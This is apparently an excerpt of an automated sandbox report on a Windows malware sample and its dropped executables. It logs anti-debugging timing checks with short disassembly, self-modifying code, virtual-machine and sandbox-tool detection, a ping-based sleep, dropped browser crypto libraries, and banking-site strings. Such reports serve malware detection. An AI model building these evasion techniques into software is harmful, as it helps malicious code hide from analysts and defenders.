Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 9098BA second address: 9098C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 9098C1 second address: 9098E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 pushad 0x0000000a jmp 00007F07BCC9CC47h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 90F1E6 second address: 90F1ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 90FFF3 second address: 90FFF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 90FFF9 second address: 910070 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F07BCDD76A5h 0x0000000e nop 0x0000000f mov di, FFC3h 0x00000013 mov ebx, 3BAF6757h 0x00000018 push 00000000h 0x0000001a sub bh, FFFFFFBFh 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007F07BCDD7698h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 00000017h 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 jmp 00007F07BCDD76A4h 0x0000003e mov edi, dword ptr [ebp+122D24DCh] 0x00000044 xchg eax, esi 0x00000045 jp 00007F07BCDD76A2h 0x0000004b jo 00007F07BCDD769Ch 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 910070 second address: 91008B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F07BCC9CC43h 0x0000000d rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 33FADC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4DE677 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4EF743 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 56AB12 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Special instruction interceptor: First address: 74EBCF instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Special instruction interceptor: First address: 8F77F9 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Special instruction interceptor: First address: 74C66A instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Special instruction interceptor: First address: 9217AB instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Special instruction interceptor: First address: 98B7CB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 85EBCF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A077F9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 85C66A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A317AB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A9B7CB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Special instruction interceptor: First address: 5578E3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Special instruction interceptor: First address: 6F579C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Special instruction interceptor: First address: 6F3DF6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Special instruction interceptor: First address: 784E6B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Special instruction interceptor: First address: 37FADC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Special instruction interceptor: First address: 51E677 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Special instruction interceptor: First address: 52F743 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Special instruction interceptor: First address: 5AAB12 instructions caused by: Self-modifying code

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 1.1.1.1 -n 1 -w 3000

Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Documents\EBFBKFBGII.exe

Code function: 19_2_054B0353 rdtsc

19_2_054B0353

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1567	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1438	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1523	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1475	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1512	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 7384	Thread sleep count: 46 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7384	Thread sleep time: -92046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7388	Thread sleep count: 46 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7388	Thread sleep time: -92046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7380	Thread sleep count: 1567 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7380	Thread sleep time: -3135567s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7372	Thread sleep count: 1438 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7372	Thread sleep time: -2877438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7488	Thread sleep time: -44000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7368	Thread sleep count: 1523 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7368	Thread sleep time: -3047523s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7364	Thread sleep count: 1475 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7364	Thread sleep time: -2951475s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7376	Thread sleep count: 1512 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7376	Thread sleep time: -3025512s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7340	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4828	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7344	Thread sleep count: 187 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7344	Thread sleep time: -5610000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1424	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7344	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe TID: 7160	Thread sleep time: -90000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\EBFBKFBGII.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE2EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6CE2EBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: Ed7zZr4.exe.23.dr	Binary or memory string: VBoxGuest
Source: BGIJJKKJ.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: BGIJJKKJ.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: Ed7zZr4.exe.23.dr	Binary or memory string: VBoxMouse
Source: BGIJJKKJ.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: BGIJJKKJ.0.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: BGIJJKKJ.0.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: Ed7zZr4.exe, 0000001A.00000002.2433470637.0000022BC7CAC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWs
Source: BGIJJKKJ.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: c679ee9018.exe, 00000022.00000002.2509368132.0000000001918000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW'}
Source: BGIJJKKJ.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: Ed7zZr4.exe, 0000001A.00000002.2435078172.0000022BCA726000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}\AA
Source: file.exe, 00000000.00000002.1867314381.0000000001094000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1867314381.0000000001063000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.2514769004.000000000102B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.2514769004.000000000106A000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2260810173.0000022BC7CCD000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000002.2433470637.0000022BC7C55000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000002.2433470637.0000022BC7CAC000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000002.2511184346.0000000000F13000.00000004.00000020.00020000.00000000.sdmp, 2a79a10743.exe, 0000001C.00000002.2480811953.00000000015F3000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 00000021.00000002.2510631146.00000000014C4000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 00000021.00000002.2510631146.000000000145B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1873375123.000000000BAED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: BGIJJKKJ.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: BGIJJKKJ.0.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: BGIJJKKJ.0.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: BGIJJKKJ.0.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: BGIJJKKJ.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: BGIJJKKJ.0.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: Ed7zZr4.exe, 0000001A.00000002.2435078172.0000022BCA734000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: BGIJJKKJ.0.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: 2a79a10743.exe, 0000001C.00000002.2480811953.000000000157E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: BGIJJKKJ.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: Ed7zZr4.exe, 0000001A.00000002.2435078172.0000022BCA734000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: BGIJJKKJ.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: BGIJJKKJ.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: BGIJJKKJ.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: BGIJJKKJ.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: BGIJJKKJ.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: Ed7zZr4.exe.23.dr	Binary or memory string: VBoxSF
Source: skotes.exe, skotes.exe, 00000017.00000002.2508105966.00000000009EA000.00000040.00000001.01000000.0000000E.sdmp, bbbef9e2c3.exe, 0000001B.00000002.2505297929.00000000006D1000.00000040.00000001.01000000.00000010.sdmp, 2a79a10743.exe, 0000001C.00000002.2478691134.0000000000500000.00000040.00000001.01000000.00000011.sdmp, bbbef9e2c3.exe, 00000021.00000002.2505177015.00000000006D1000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: BGIJJKKJ.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: BGIJJKKJ.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: Ed7zZr4.exe, 00000019.00000000.2231743999.00007FF6DB5FF000.00000002.00000001.01000000.0000000F.sdmp, Ed7zZr4.exe, 00000019.00000002.2240061207.00007FF6DB5FF000.00000002.00000001.01000000.0000000F.sdmp, Ed7zZr4.exe, 0000001A.00000002.2435408584.00007FF6DB5FF000.00000002.00000001.01000000.0000000F.sdmp, Ed7zZr4[1].exe.23.dr, Ed7zZr4.exe.23.dr	Binary or memory string: VBoxTray
Source: Ed7zZr4.exe, 0000001A.00000002.2435078172.0000022BCA726000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}+
Source: c679ee9018.exe, 00000022.00000003.2494905619.000000000197B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2\wshbth.dllHyper-V RAW'}
Source: skotes.exe, 00000017.00000002.2514769004.000000000106A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW/
Source: BGIJJKKJ.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: BGIJJKKJ.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: BGIJJKKJ.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: bbbef9e2c3.exe, 0000001B.00000003.2469426646.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: BGIJJKKJ.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: 2a79a10743.exe, 0000001C.00000002.2480811953.00000000015C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BGIJJKKJ.0.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: BGIJJKKJ.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: Ed7zZr4.exe, 00000019.00000000.2231743999.00007FF6DB5FF000.00000002.00000001.01000000.0000000F.sdmp, Ed7zZr4.exe, 00000019.00000002.2240061207.00007FF6DB5FF000.00000002.00000001.01000000.0000000F.sdmp, Ed7zZr4.exe, 0000001A.00000002.2435408584.00007FF6DB5FF000.00000002.00000001.01000000.0000000F.sdmp, Ed7zZr4[1].exe.23.dr, Ed7zZr4.exe.23.dr	Binary or memory string: VBoxMRXNP
Source: BGIJJKKJ.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: bbbef9e2c3.exe, 00000021.00000002.2510631146.00000000014C4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWT
Source: BGIJJKKJ.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000000.00000002.1866294987.00000000004C0000.00000040.00000001.01000000.00000003.sdmp, EBFBKFBGII.exe, 00000013.00000002.1895247611.00000000008DA000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000014.00000002.1934281667.00000000009EA000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000002.2508105966.00000000009EA000.00000040.00000001.01000000.0000000E.sdmp, bbbef9e2c3.exe, 0000001B.00000002.2505297929.00000000006D1000.00000040.00000001.01000000.00000010.sdmp, 2a79a10743.exe, 0000001C.00000002.2478691134.0000000000500000.00000040.00000001.01000000.00000011.sdmp, bbbef9e2c3.exe, 00000021.00000002.2505177015.00000000006D1000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: bbbef9e2c3.exe, 0000001B.00000002.2511184346.0000000000E9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: BGIJJKKJ.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: Ed7zZr4.exe, 00000019.00000000.2231743999.00007FF6DB5FF000.00000002.00000001.01000000.0000000F.sdmp, Ed7zZr4.exe, 00000019.00000002.2240061207.00007FF6DB5FF000.00000002.00000001.01000000.0000000F.sdmp, Ed7zZr4.exe, 0000001A.00000002.2435408584.00007FF6DB5FF000.00000002.00000001.01000000.0000000F.sdmp, Ed7zZr4[1].exe.23.dr, Ed7zZr4.exe.23.dr	Binary or memory string: VBoxHook

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 23_2_05060A36 Start: 05060AC9 End: 05060A74

23_2_05060A36

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\EBFBKFBGII.exe

Code function: 19_2_054B0353 rdtsc

19_2_054B0353

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CEFAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CEFAC62

Source: C:\Users\user\Documents\EBFBKFBGII.exe	Code function: 19_2_0071652B mov eax, dword ptr fs:[00000030h]	19_2_0071652B
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Code function: 19_2_0071A302 mov eax, dword ptr fs:[00000030h]	19_2_0071A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_0082A302 mov eax, dword ptr fs:[00000030h]	20_2_0082A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_0082652B mov eax, dword ptr fs:[00000030h]	20_2_0082652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0082A302 mov eax, dword ptr fs:[00000030h]	23_2_0082A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0082652B mov eax, dword ptr fs:[00000030h]	23_2_0082652B

